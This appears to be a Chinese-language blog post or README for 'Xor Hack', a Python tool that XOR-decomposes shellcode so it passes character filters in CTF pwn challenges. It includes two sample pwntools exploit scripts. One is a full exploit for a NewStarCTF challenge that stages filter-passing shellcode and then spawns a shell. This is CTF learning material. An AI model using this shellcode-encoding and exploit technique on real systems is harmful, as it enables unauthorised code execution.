Xor Hack

# Xor Hack Tool

# Background

在创造了 Xortear.cpp 之后,发现编译之后用 PE 文件或者 ELF 文件打 shellcode 题目写 EXP 的时候并不方便使用。因此,重新写成了 Python,这样直接 import 就行了。
༼ つ ◕_◕ ༽つ:手手,断断,救救... ...
༼ つ ◕_◕ ༽つ:哦,对了,我在之前的基础上增加了一些功能,并且优化了算法。估计可以在 O (n + C) 到 O (nlogn + C) 之间计算出结果(两个月之前写的了,具体实现细节忘得差不多了)
༼ つ ◕_◕ ༽つ:此外,python 版本为了使用方便,按照传入的函数参数的数据类型的判断,对结果的数据类型进行了转化,你可以做的不只是传入汇编代码进行异或分解,还有传入 n 个整数进行分解。对无解的判断更为精确。在传入汇编代码的情况下,可以明确指出哪一句汇编的哪一个字节无法分解,从而方便使用者进行更精确的修改。
༼ つ ◕_◕ ༽つ:目前考虑之后更新会用动态规划对算法进行进一步优化,使得得出的结果的异或次数最少,填入 padding 之后的长度最短,即实现最优解的求解。(挖个大坑)

# What's in this pack?

包含两个 sample 和实现功能的源码。
以及用于参考的 Intel® 64 and IA-32 Architectures Software Developer’s Manual 四分册的 PDF

# Sample-0

这个是第一版的 sample 修改之后的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import*
from XorHack import XorHack
from Xhellcode import Xhellgen
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']

# 依赖:Crypto.Util.number (用于long_to_bytes,bytes_to_long转换) 和 capstone (用于disasm()函数)
# 分两次shellcode,第一次是可以通过过滤的shellcode,这里shellcode用Xhellgen函数可以找出可以通过过滤的几种汇编命令。
# Xhellgen(限制条件,是否进行逐字节爆破汇编指令,除掉最后data的汇编指令的长度) 第三个参数的含义就是比如movabs rax,0xffaabbcc 48 b8 cc bb aa ff 00 00 00 00 对应的长度就是2(前两个字节,后面的都是0xffaabbcc)
# 长度要和限制范围大小靠感觉来设置,尽量小一点,一般4以下就满足需求了。实测本题设为4,爆破 7 秒,设为5,爆了半天没出结果。
# 爆破结果可能很多,建议结果多的话输出到文件内。
# 第二个参数设置为False就只会执行粗略的猜测shellcode可用的 常用 指令 ,输出中含有满足要求的16进制数值,以及在Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (2A, 2B, 2C, & 2D):Instruction Set Reference, A-Z
# 中的页码。文件都是打包一起的,压缩包内能找到。
# 这里做题步骤省略
rang=[[49,49],[53,53],[97,97],[65,83],[85,90]] # 周末那题的数据。
Xhellgen(rang,True,2)
# 第二个参数如果是true的话,函数会返回一个set,其中的元素是每一句可行的shellcode

# 这里shellcode是想要异或出来的shellcode,XorHack函数可以把shellcode按照 n 字节的方式拆分,然后给出 一种 异或拆分的方法。如果想要完全形态的结果,不如调用函数tear,在process函数里面你能找到tear函数的入口作为参考,但是这里建议逐字节爆破,懂的都懂。
shellcode='''pop rax
pop rdi
pop rdx
syscall
''' # 能产生正常结果
shellcode1='''mov rax,0xf
pop rax
pop rdi
pop rdx
syscall
''' # 无法通过最初粗略check的样例
arr=XorHack(shellcode,rang,b'\x51',4)
for i in arr:
for j in i:
print(hex(bytes_to_long(j))) # 返回值是bytes,可以自行转为int
# XorHack(shellcode字符串/一个int,限制条件,填充字符,设置结果每一段多少字节) 填充字符:一段byte的结果,不足n字节的就用这个字符填满,但是没有加以正确性验证,就是有可能填充的字符和shellcode汇编最后一个字符组合为一条指令了。
# 只要能出结果,就请忽视其中的报错。如果没有显示结果,就说明真的没有结果(现在还没遇到过这种情况),请尝试减小最后一个参数的数值或者重写shellcode。
# 当然,代码最开始会进行一次简单粗略的check来检测逻辑上是否不可能有结果。这里通过了check不代表一定有结果,但是无法通过的话,一定是没有结果的,那就请重写shellcode。
# 函数返回值是二维数组list,arr[i]是每一个 n bytes 的几个异或的数字组成的list。

# 当然shellcode还是要手搓的。不手搓感觉并不容易生成。。。因为根本不知道每个Pwn题目的寄存器情况和出题人的思考。反正针对限制条件的shellcode还是有点用处的。
# 毕竟能够解救于手搓shellcode的水深火热中。
# 这里不一定异或产生shellcode,但是如果考虑add,sub,inc,dec,or,and这些操作的话,直接别爆shellcode了,把电脑爆了吧,能出结果就是好方法༼ つ ◕_◕ ༽つ

# Sample-1

第二版新加入的样例,来自题目 Shellcode Revenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
#patchelf --set-interpreter /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/ld-2.23.so --replace-needed libc.so.6 /home/akyuu/glibc-all-in-one/libs/2.23-0ubuntu3_amd64/libc.so.6 pwn
from pwn import*
from Xhellcode import Xhellgen
from XorHack import XorHack,process_hack
# 由于我的函数命名习惯,不建议import*,不然可能有'玄学'问题。。。。。。。。。。
from Crypto.Util.number import long_to_bytes,bytes_to_long

context.log_level='debug'
context(arch='amd64',os='linux')
context.terminal=['tmux','splitw','-h']
# context.terminal=['terminator','-x','zsh','-c']

pwn = './shellcodere'
#p=remote(' ',)
#p=process(['./ld-2.31.so', pwn], env={"LD_PRELOAD":'./libc-2.31.so'})
p=process('./shellcodere')
gdb.attach(p,'b*0x401373')
#elf=ELF(pwn)
#libc=ELF('./libc.so.6')
# 这里设置范围
rang=[[65,90],[48,57]] # shellcodere那题的数据,是今年NewStarCTF的一道题,每个元素都是个闭区间。

# 依赖:Crypto.Util.number (用于long_to_bytes,bytes_to_long转换) 和 capstone (用于disasm()函数)
# 分两次shellcode,第一次是可以通过过滤的shellcode,这里shellcode用Xhellgen函数可以找出可以通过过滤的几种汇编命令。

# Xhellgen(限制条件,是否进行逐字节爆破汇编指令,除掉最后data的汇编指令的长度) 第三个参数的含义就是比如movabs rax,0xffaabbcc 48 b8 cc bb aa ff 00 00 00 00 对应的长度就是2(前两个字节,后面的都是0xffaabbcc)

# 长度要和限制范围大小靠感觉来设置,尽量小一点,一般4以下就满足需求了。实测本题设为4,爆破 7 秒,设为5,爆了半天没出结果。
# 爆破结果可能很多,建议结果多的话输出到文件内。
# 第二个参数设置为False就只会根据汇编指令的特征值执行粗略的猜测shellcode可用的 常用 指令 ,输出中含有满足要求的16进制数值,以及在Intel® 64 and IA-32 Architectures Software Developer’s Manual Volume 2 (2A, 2B, 2C, & 2D):Instruction Set Reference, A-Z中的页码

Xhellgen(rang,True,1)

# 第二个参数如果是true的话,函数会返回一个set,其中的元素是每一句可行的shellcode

base=0x66660000
# xor edi,edi

# xor rax,xxxxxx

shellcode='''
pop rsi
pop rdi
pop rdx
pop rax
syscall
'''
# xor_shellcode编写小技巧:这里输出是分块进行输出,编写的时候,如果结果出不来,或者结果太长,可以尝试把某些罪魁祸首的字节用在前面添加指令的方式挤到下一个块内,这样就可以了
# 这里shellcode可以是int类型,方便得出一个数字的异或分解。也可以直接传入shellcode的string,不要传入shellcode assemble之后的结果
# 此版本对爆破进行了极大的优化,就是输出中的easy way,可以试着把可通过检测的大整数或者长shellcode传入看看效率(手动滑稽)
# 如果还是想爆破,就在源代码中把process_hack函数中注释的那行启用就行了
arr=XorHack(shellcode,rang,b'\x41',4)
# XorHack(shellcode字符串/一个int,限制条件,填充字符,设置结果每一段多少字节) 填充字符:一段byte的结果,不足n字节的就用这个字符填满,但是没有加以正确性验证,就是有可能填充的字符和shellcode汇编最后一个字节组合为一条指令了。
# 只要能出结果,就请忽视其中的报错。如果没有显示结果,就说明真的没有结果(现在还没遇到过这种情况),请尝试减小最后一个参数的数值或者重写shellcode。
# 当然,代码最开始会进行两次check来检测逻辑上是否不可能有结果。这里无法通过的话,一定是没有结果的,那就请重写shellcode来调整其机器码的字节
# 函数返回值是二维数组list,arr[i]是每一个 n bytes 的几个异或的数字组成的list。
print(arr)
for i in arr:
for j in i:
print(hex(bytes_to_long(j))) # 返回值是bytes,可以自行转为int
# 根据结果搓出第一步shellcode,直接把对应输出的16进制copy过去就行了,直接用,别闲着没事翻转一下༼ つ ◕_◕ ༽つ
shellcode0=f'''
push rdx
pop rcx
xor eax,0x41414141
xor eax,0x41414445
xor eax,0x585a5a5a
xor dword ptr[rcx+0x50],eax
xor eax,0x41414141
xor eax,0x41414445
xor eax,0x585a5a5a
xor eax,0x41414141
xor eax,0x4141444e
xor dword ptr[rcx+0x54],eax
xor eax,0x41414141
xor eax,0x41414141
pop rcx
push rcx
pop rcx
push rcx
pop rcx
push rcx
pop rcx
push rcx
pop rcx
push rcx
pop rcx
pop rcx
push rcx
push rbx
push rax
push rbx
push rcx
xor eax,0x41414141
'''
print(shellcode0)
process_hack(b'\x0f\x05\x00\x00',rang,2)
p.sendline(asm(shellcode0))
# 调用read读入新的、没限制的shellcode
pause()
p.sendline(b'\x00'*0x56+asm(shellcraft.sh()))
p.interactive()

# xor esi, dword ptr [rax]
# xor esi, dword ptr [rbx]
# xor esi, dword ptr [rcx]
# xor esi, dword ptr [rdi]
# xor esi, dword ptr [rdx]
# xor esi, dword ptr [rsi]


# pop rax
# pop rcx
# pop rdx
# push rax
# push rbp
# push rbx
# push rcx
# push rdi
# push rdx
# push rsi
# push rsp
# cmp bh, bh
# xor bh, bh
# cmp edi, edi
# xor al, 0xff
# xor edi, edi
# xor eax, 0xffffffff